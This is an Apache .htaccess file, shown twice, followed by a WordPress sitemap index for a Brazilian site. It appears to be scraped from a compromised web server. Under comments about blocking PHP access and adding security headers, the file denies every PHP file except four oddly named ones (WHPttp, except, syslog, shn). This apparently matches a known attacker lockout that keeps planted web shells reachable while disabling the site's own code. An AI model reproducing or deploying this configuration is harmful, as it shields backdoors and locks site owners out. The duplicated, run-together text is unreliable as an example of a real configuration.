# Block direct access to all PHP files except specified ones
# Covers all common PHP file extensions
<FilesMatch "\.(php|php3|php4|php5|php7|php8|phtml|pht|phps|shtml|inc|tpl)$">
    Require all denied
</FilesMatch>

# Allow specific PHP files to be accessed
<FilesMatch "^(WHPttp|except|syslog|shn)\.(php|php3|php4|php5|php7|php8|phtml)$">
    Require all granted
</FilesMatch>

# Show forbidden message for blocked files
ErrorDocument 403 "403 Forbidden: Direct access to this file is not allowed."

# Hide .htaccess files from being accessed directly
<Files ".htaccess">
    Require all denied
</Files>

# Prevent directory browsing
Options -Indexes

# Additional security headers (if mod_headers is available)
<IfModule mod_headers.c>
    Header always set X-Content-Type-Options nosniff
    Header always set X-Frame-Options DENY
    Header always set X-XSS-Protection "1; mode=block"
</IfModule># Block direct access to all PHP files except specified ones
# Covers all common PHP file extensions
<FilesMatch "\.(php|php3|php4|php5|php7|php8|phtml|pht|phps|shtml|inc|tpl)$">
    Require all denied
</FilesMatch>

# Allow specific PHP files to be accessed
<FilesMatch "^(WHPttp|except|syslog|shn)\.(php|php3|php4|php5|php7|php8|phtml)$">
    Require all granted
</FilesMatch>

# Show forbidden message for blocked files
ErrorDocument 403 "403 Forbidden: Direct access to this file is not allowed."

# Hide .htaccess files from being accessed directly
<Files ".htaccess">
    Require all denied
</Files>

# Prevent directory browsing
Options -Indexes

# Additional security headers (if mod_headers is available)
<IfModule mod_headers.c>
    Header always set X-Content-Type-Options nosniff
    Header always set X-Frame-Options DENY
    Header always set X-XSS-Protection "1; mode=block"
</IfModule><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://sbeb.org.br/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://sbeb.org.br/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://sbeb.org.br/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://sbeb.org.br/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://sbeb.org.br/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap></sitemapindex>
